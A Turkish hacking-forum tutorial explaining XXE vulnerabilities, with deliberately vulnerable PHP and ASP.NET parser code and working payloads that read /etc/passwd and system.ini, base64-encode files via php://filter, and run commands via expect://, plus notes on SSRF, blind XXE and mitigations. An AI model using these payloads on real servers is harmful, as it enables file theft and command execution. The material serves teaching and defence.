XXE Zafiyeti Nedir?

Niko7THT

Üye
20 Nis 2020
132
20
XXE yeni olmayan ancak Facebook gibi bir sosyal medya devinin sunucularında bulunmasıyla gündeme gelen bir zafiyettir/özelliktir. Aslında XML’in esnekliğini arttırmak için düşünülen bir özellik olmasına karşın bu esneklik önemli güvenlik risklerini de beraberinde getirmekte, sunucudan rasgele dosya okunmasına ve bazı özel durumlarda sunucuda komut çalıştırılmasına imkan vermektedir.




XXE zafiyeti, sunucu(sunucu tarafında çalışan yazılım) XML verisini parse ederken özel olarak tanımlanmış bir XML varlığının (entity) çağırılması sonucu tetiklenir. Bazı XML kütüphaneleri özel olarak varlık tanımlamaya ve çağırmaya varsayılan olarak izin verirken bazılarında bu özellik kapalı gelir. Saldırının başarılı olabilmesi için hedef sistemde bu özelliğin aktif olması gerekir.




PHP ile XXE senaryosu:

PicsArt_04-18-08.53.25.png


Örnek senaryoda sunucu tarafında gelen XML verisini parse edip ekrana basan aşağıdaki gibi basit bir PHP kodu bulunuyor.

Kod:
<?php$xml = simplexml_load_string(file_get_contents(“php://input”));echo $xml;?>
Sunucuya basit bir XML varlığı içeren bir POST isteği gönderildiğinde (örnekte HttpRequester aracı kullanılmıştır.) cevap olarak varlığın değeri dönecektir.

Kod:
<?xml version=”1.0″ ?><tag>test</tag>
Örneğin yukarıdaki isteğe, “test” cevabı dönecektir. Sorun her zamanki gibi isteğin bu kadar masum olmadığı durumlarda ortaya çıkıyor. Mesela sunucuya giden istekte bir dosyanın içeriğini okuyacak bir varlık tanımlanıp kullanıldığında istek yine başarılı olacaktır.


Kod:
<?xml version=”1.0″?><!DOCTYPE tag [<!ENTITY ups SYSTEM “file:///etc/passwd”>]><tag>&ups;</tag>
Örneğin yukarıdaki XML sunucuya gönderildiğinde geriye sunucunun “/etc/passwd” dosyasının içeriği dönmektedir. İçeriği okunmaya çalışılan dosya içerdiği karakterler nedeniyle XML dosya yapısını veya uygulamadaki başka birşeyi etkiliyor olabilir. Hedef uygulama örnekteki gibi PHP ile geliştirilmişse dosya içeriğini base64 encode etmek için şu payload kullanılabilir.

Kod:
xml version=”1.0″?><!DOCTYPE tag [<!ENTITY ups SYSTEM “php://filter/read=convert.base64-encode/resource=/etc/passwd”>]><tag>&ups;</tag>
Dönen cevap base64 ile decode edilerek dosyanın içeriğine erişilir. Diğer rasgele dosya okuma zafiyetlerinde olduğu gibi bazı özel durumlarda XXE kullanarak da hedef sunucuda komut çalıştırmak mümkün olabilir. Örneğin hedef uygulama PHP ise ve PHP’nin “expect” (PECL :: Package :: expect) modülü kuruluysa…

ICHN9n.png



Kod:
<?xml version=”1.0″?><!DOCTYPE tag [<!ENTITY ups SYSTEM “expect://whoami”>]><tag>&ups;</tag>
…payloadı kullanılarak sistemde “whoami” komutu çalıştırılabilir.


ASP.NET ile XXE Senaryosu:
PicsArt_04-18-08.54.15.png


ASP.NET ve C# ile XXE zafiyetini örneklendirmek için sunucu tarafında aşağıdaki kod kullanılmıştır.

Kod:
protected **** Page_Load(object sender, EventArgs e){XmlReaderSettings xrSettings = new XmlReaderSettings();xrSettings.DtdProcessing = DtdProcessing.Parse;X******** ******** = X********.Load(XmlReader.Create(Request.InputStream, xrSettings));Response.Write(********.ToString());}
Kısaca Request.InputStream aracılığıyla gelen POST isteğinin içeriğini okuyan bir XmlReader nesnesi oluşturuluyor ve bu nesne X********.Load metoduna parametre olarak verilip xml verisi parse ediliyor. Atlanmaması gereken nokta ise XmlReader nesnesi oluşturulurken kullanılan XmlReaderSettings nesnesinin “DtdProcessing” özelliği “DtdProcessing.Parse” olarak atanıp XML’deki DTD/DOCTYPE elemanlarının yorumlanması sağlanıyor.


Sunucuya gönderilen sıradan bir XML…

Kod:
<?xml version=”1.0″?><tag>test</tag>
XXE payloadı içeren bir XML…

Kod:
<?xml version=”1.0″?><!DOCTYPE tag [<!ENTITY ups SYSTEM “file://C:Windowssystem.ini”>]><tag>&ups;</tag>


XXE ile SSRF Saldırısı

Bir SSRF saldırısı gerçekleştirmek ve XXE güvenlik açığından yararlanmak için, hedeflediğimiz URL’yi kullanarak harici bir XML varlık tanımlamamız ve tanımlanmış varlığı bir veri değeri içinde kullanmamız gerekir. Tanımlı varlığı, uygulamanın yanıtında döndürülen bir veri değeri içinde kullanabilirsek, uygulamanın yanıtı içindeki URL’den gelen yanıtı görebilecek ve böylece backend kısmında two-way etkileşim kazanabiliriz.

ICHN9n.png



Blind XXE

Birçok XXE güvenlik açığı örneği blind’dır. Bu durum, uygulamanın cevaplarında tanımlanmış herhangi bir harici varlıkların değerini döndürmediği ve bu nedenle sunucu tarafı dosyalarının doğrudan alınmasının mümkün olmadığı anlamına gelir.
Blind XXE güvenlik açıkları hala tespit edilip kullanılabilir, ancak bunun için daha gelişmiş teknikler gerekebilir.

PicsArt_04-18-08.52.42.md.jpg



XXE Açığı için Alınabilecek Önlemler


XML işlemcisi ve kütüphaneleri her zaman en son sürümde olması altında bir sürümün çalıştırılmaması,uygulamada bulunan tüm XML parser’ların XML External Entity özelliğinin kapatılması, “Whitelist” gibi çalışacak bir filtreleme sistemi kullanılması önerilir.
XXE saldırılarını önlemenin en kolay ve etkili yolu bu özellikleri devre dışı bırakmaktır.Bununla beraber XInclude desteğini de devre dışı bırakmak öneriliyor.
 
Moderatör tarafında düzenlendi:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.